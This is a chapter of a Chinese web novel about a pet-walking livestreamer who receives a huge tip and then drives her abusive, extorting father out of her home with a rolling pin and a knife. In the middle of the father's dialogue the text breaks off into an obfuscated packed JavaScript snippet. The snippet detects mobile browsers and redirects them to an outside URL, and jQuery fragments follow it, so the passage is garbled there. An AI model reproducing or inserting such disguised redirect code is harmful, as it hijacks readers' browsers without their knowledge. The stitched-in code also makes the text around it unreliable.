三千万从眼前划过，男人手都在抖。


    好似大脑里放起烟花，手脚发软如漫步云端。


    可惜，钱不是给他的。


    郑婉晴夺回手机，怒气上涌想要骂他，可这气焰嚣张的家伙却好似丢了神，面色惨白，身形不稳。


    他抖着唇，咽了口唾沫：“你分成是多少？”


    “什么分成？”


    “你和平台要分的收入。”


    郑婉晴蹙眉：“我这个平台没分成，平时只交会员费。”


    “没分成！”他像个尖叫鸡一样声音尖利，然后扑过来握住郑婉晴的手，“什么平台！”


    郑婉晴抽开手：“凭什么告诉你？”


    这平台上大家又礼貌又人好，告诉这人？不把她的净土搞得乌烟瘴气才怪！


    “三千万啊！那可是三千万！连你都能赚这么多，要是我……”


    一声高呼，引得周围人都看了过来。


    感受到四面八方的目光，郑婉晴不满地就要走。


    然而能在这里逛的都是喜欢宠物的，昨晚的视频那么火，她还真就被人认出来了！


    “那个五百万！”


    郑婉晴心里一咯噔。


    果不其然，很多人已经拿起手机对准她了。


    “什么五百万！现在三千万了！”


    “嚯！三千万！”


    刘女士抱着王尔德也凑过来：“你这工作这么赚？”


    郑婉晴也头皮发麻，三千万可太多了！五百万交税都让她头皮发麻，现在三千万！


    她也看向手机直播间，低声问：“是不是打错了？”


    【家有萌犬】：“没有，就是给你的。”


    这笔钱不是边牧父母给的，虽然他们也准备了一笔，但数额绝不会这么多。


    这笔钱是哈士奇的父亲，那个已经被判定有罪的副手，他愿意用全部身家来购入超市里的蔬果，以及连同边牧的那份一起答谢郑婉晴。


    【家有萌犬】：“请多购入一些蔬果吧！”


    郑婉晴：“您给的钱恐怕都够买下这个超市了！”


    【家有萌犬】：“剩下的是给您的谢礼，我家孩子好久没有这么活泼，对食物这么感兴趣了！多亏了您啊！”


    郑婉晴扶额：“那我给您多买点，您家吃的完吗，有什么量的要求吗？”


    去了一个普通小区，没想到住的是个大佬啊！


    “我们超市有送货□□！”


    经理本来是陪着刘女士而来，现在一听觉得是个大商机！


    “既然您家宝贝喜欢我们超市的蔬果，我们竭诚为每个喜爱我们的客户献上服务！”


    【家有萌犬】：“这个……”


    他们有些害怕不经郑婉晴的手带不回去。


    【家有萌犬】：“晴天小姐，您看我家能放下多少呢？我这两天也不在，之后就派人来取，但今天就需要您帮我接收一下了。”


    “可以可以，那我看着给您挑？”


    郑婉晴当仁不让，大金主的要求她必须办到！


    【家有萌犬】：“那就拜托您了，尽量多一些种类，我还有其他房子，家里人也很多，不用担心买得太多！”


    “好的好的。”


    “您看我行吗？”那男人回过神，挤到镜头里，“我也想尽绵薄之力。”


    “不用。”【家有萌犬】果断拒绝，“有晴天小姐就行。”


    男人咬牙切齿，又被经理挤到一边。


    他没注意到，聪明的边牧小姐早就咬着王尔德被丢下的牵引绳在他脚下穿梭，穿梭完嘴一松，鬼鬼祟祟又溜回郑婉晴身边——她甚至没有把自己的牵引绳绕进去！


    乘风看完全程，有些震惊地看雪正在装乖的她，她无辜地眨眼，好似什么也没做。


    咚地一声，男人摔了个四脚朝天，倒是没受伤，但十分出丑。


    他在哄笑声里咬牙切齿爬起来，眼睛扫过在座的所有小狗——除了这些动物，哪有人能把他腿绑上！


    他倒是想找个说法，可惜根本没人搭理他。


    热络地招呼着大客户，经理跟着郑婉晴一路亲历亲行把东西送到小区门口，出于信息保密，只能由郑婉晴先把东西分三次送上去。


    不知道客户怎么想的，说是要让东西和小狗一起进门，于是水果堆了一门口，幸好这一层住户多，走廊足够用。


    打开门，瘦巴巴的边牧和油光水滑的二哈一人叼了一小袋冲进门，大门大开，郑婉晴和三只小狗一点点挪，竟然把屋子占了个半满。


    “您看够吗？”郑婉晴觉得自己本来就酸痛的隔壁十有八九都肿了，她抹了把汗，“经理说还能调一批来。”


    超市的库存其实很多，但要考虑当天的销售量，能送来的只有一小部分。


    可尽管只是一小部分，宣传和业绩也是双开花了！有钱人互相认识肯定会互相介绍！直播的两人带了流量，他们超市要红了！


    经理在电话那头也道：“对对对！我们还可以调货！”


    【家有萌犬】：“够了够了，辛苦你了。”


    “还好还好，不辛苦。”


    郑婉晴说的是实话，比起昨天惊心动魄地追阿列克谢，今天的两只小狗简直是天使！


    安顿好小狗，把能吃的和不能吃的分类装好，郑婉晴带着乘风就回家去。


    入账大笔数目，遛狗也十分轻松，虽然从一个哀伤的早晨开始，但却是一个完满的结束！


    郑婉晴哼着歌，乘风也感受到她的喜悦，回家路上蹦蹦跳跳，要比出门时活跃得多。


    可惜好心情在打开家门时彻底消失。


    门锁被撬开了，房门大敞，一个胡子拉碴、双眼浑浊眼球发黄的男人坐在沙发上，水泥地上全是家里杯碗的碎片，椅子倒地，沙发上的抱枕摔在地上，乘风的金属饭盆被砸得凹陷进去一块，正在男人脏兮兮的鞋底踩着。


    乘风吠了一声，作势要扑进去，郑婉晴绳子一勒制止它，然后把它捞进怀里。


    她一言不发地进了门，打开卧室，里面被翻得一团乱，但地上却没什么碎片。郑婉晴深呼吸，把乘风放在床上，出去锁上了卧室门。


    眼前的这一切太熟悉了，这男人时不时就会来一趟，把家里搅得乱七八糟，拿了钱扬长而去，留下惶恐哀绝的她和奶奶。


    这耀武扬威的暴力，充斥郑婉晴的整个生长期，直到后来这个人渣又结了婚。


    卧室门被乘风扒得直响，郑婉晴阴沉着脸往厨房走。


    她就知道这畜生迟早会来，就得一次把他吓住了，免得又来破坏她好不容易过好的日子。


    坐在沙发上阴鸷死盯郑婉晴的男人破口大骂：“死了我妈却叫你发财了！说没钱？没钱这屋里都是什么？直播了一下，没露屁股没露胸的，五百万？”


    他看不到郑婉晴，呸了一口后继续骂：“他妈的老子生你养你一分钱捞不着，死老太婆留的房子是我的，五百万，这房子我不要了！”


    手上摸着擀面杖，郑婉晴嘲讽地勾起嘴角。


    “房子？五百万？”


    看人拿着棍子，郑洛强也丝毫不怵。他妈死的时候，这丫头还哭着要他回去呢，这种随他欺负的东西能有什么可怕的？


    “对，五百万，给我我就不要这房子。”


    “少放屁，”擀面杖敲在手心，郑婉晴道，“你算什么东西，找我要钱？”


    “我算什么？我是你爸！”


    “我爸死了，你怎么不也死一下。”


    郑婉晴很小的时候，郑洛强欠债跑了，但对家里人却说是他死了，等债被老两口砸锅卖铁还得差不多了，人又活了，后来就有了时不时来家里要钱的事。


    郑洛强见她油盐不进，拉着脸说：“你是不想让你奶好好安生是吧？”


    “你还有脸提奶奶？”


    郑婉晴声音高了起来，她一棍子冲郑洛强闷头砸去。


    郑洛强没想到郑婉晴真的敢动手，躲不及，胳膊上被狠狠敲了一记。他疼得窜起来，蹦得离郑婉晴几步远。


    “你打我！”


    “打你？我要你的命！”


    郑洛强被打得抱头鼠窜，情急之下一跳，巧妙地和郑婉晴隔开挺远的距离。


    郑婉晴打人打得上头，气喘如牛。


    郑洛强怒道：“我告


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15159746|164893||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    诉你，你不给我钱，我把你奶从坟里刨出来！你个小杂种我还治不了你！我……”


    “你个畜生！”


    郑婉晴怒喝一声，甩着胳膊把手里的擀面杖狠狠砸去，砸上了郑洛强的膝盖，人痛得抱着腿哀嚎。


    手里的擀面杖已经被丢了出去，郑婉晴转身就奔厨房，拿着菜刀冲了出来。


    郑洛强一抬眼，看着持刀的郑婉晴吓得眼睛直瞪：“你干什么！”


    “干什么？你说我干什么！”


    怒红了眼的郑婉晴拿着刀就冲他来，男人左躲右躲，一脚踩在擀面杖上摔了个大马趴，要不是穿得厚，那些碎片一定扎他肉里去！


    他着急忙慌地爬起来，却被逼到桌边角落，卡在桌面下，一抬眼就是恶鬼一样的女儿拿着刀劈来。


    刀光雪亮，男人吓得闭眼尖叫，想象中的疼痛却没出现。


    “我告诉你！老家那边也只认我！你就是死了，下不下葬，进不进得了祖坟，没我的话我看哪个敢收你这个孤魂野鬼！”郑婉晴一刀剁在桌上，“你大可以试试！”


    “你，你反了天了！”


    “我呸！你算个什么东西碰瓷人老天！”


    郑婉晴劈头盖脸就是一顿骂。


    “你再来一次我就砍你一次！反正我也没什么挂念，一条命大不了杀了你我赔给你！”


    俗话说横的怕不要命的，即便人渣如郑洛强，也十分稀罕自己那条烂命！


    “你疯了是不是，你……”


    “爸。”


    一个干瘦的穿着高中校服的女生忽地出现在门口，长相与郑婉晴竟有几分像，可是她太瘦弱，充斥着营养不良与生活窘迫的后遗症，阴沉又麻木地看向缩在角落的郑洛强。


    郑婉晴定睛看她，在她身上看到以前自己的几分影子，一时之间觉得十分讽刺。


    她转过头，对从角落想要偷摸爬走的郑洛强道：“还以为你有了新孩子会对人家好点，果然你就是个畜生。”


    郑洛强白着脸不甘地瞪她，却惧怕于郑婉晴的凶恶，紧抿着嘴，恶狠狠地迁怒向来人：“你来干什么！”


    来干什么？


    女孩讥诮地笑了。


    她中午回家拿已经推迟了好几天的书本费，没找到钱先不提了，被邻居告知这人喊着什么要找有钱的女儿，一想就知道发生了什么。


    “你把我书本费呢。”


    “什么书本费！”


    “家里多了几瓶酒。”


    “家里的钱都是我的！什么书本费！我爱怎么花怎么花！”


    女孩叹了口气，她抬起头忽然对郑婉晴说：“我知道你，虽然说认亲什么的，这种东西的血脉你肯定也恶心，但你能不能借我两百块？”


    郑婉晴没说话，转身把自己的包打开，先数了五百，最后又把纸币全拿出来，递给她：“都拿着吧，藏好，别让他知道。”


    女孩没拒绝：“嗯，谢谢你，我之后还你。”


    郑婉晴看了眼她，没说要不要还。


    收了钱，女孩把地上的擀面杖拿起来，对着郑洛强笑：“你走不走？”


    郑洛强凭空打了个抖，强装体面：“走啊，不走让这种不孝女欺负！赶紧走！”


    男人狼狈地走了，女孩却礼貌地冲郑婉晴一点头：“我会看着他的。”


    “你才多大，怎么看着他。”


    “我有办法。”女孩拍了拍自己放钱的兜，“谢谢了。”


    郑洛强走得快一些，女孩也没打算去追，走到小区门口，她看到一个鬼鬼祟祟的男人探头探脑，还时不时问路过的人见没见道一个养了条白狗的年轻女人。


    女孩扫他一眼，就见这戴着墨镜遮着脸的男人和她对视上了。


    要是郑婉晴在就能认出来，这就是上午那位牵着西高地直播的男人。


    男人等人走了并不死心，一路尾随着郑婉晴来到小区门口，却也没敢直接进去。


    他迎面看到一个和郑婉晴有几分像的瘦巴巴女孩跟着一个中年男人出来，男人嘴里还骂骂咧咧：“自己发达了不管亲爹！什么东西！”


    听了这话，他眼睛一转，跟了上去。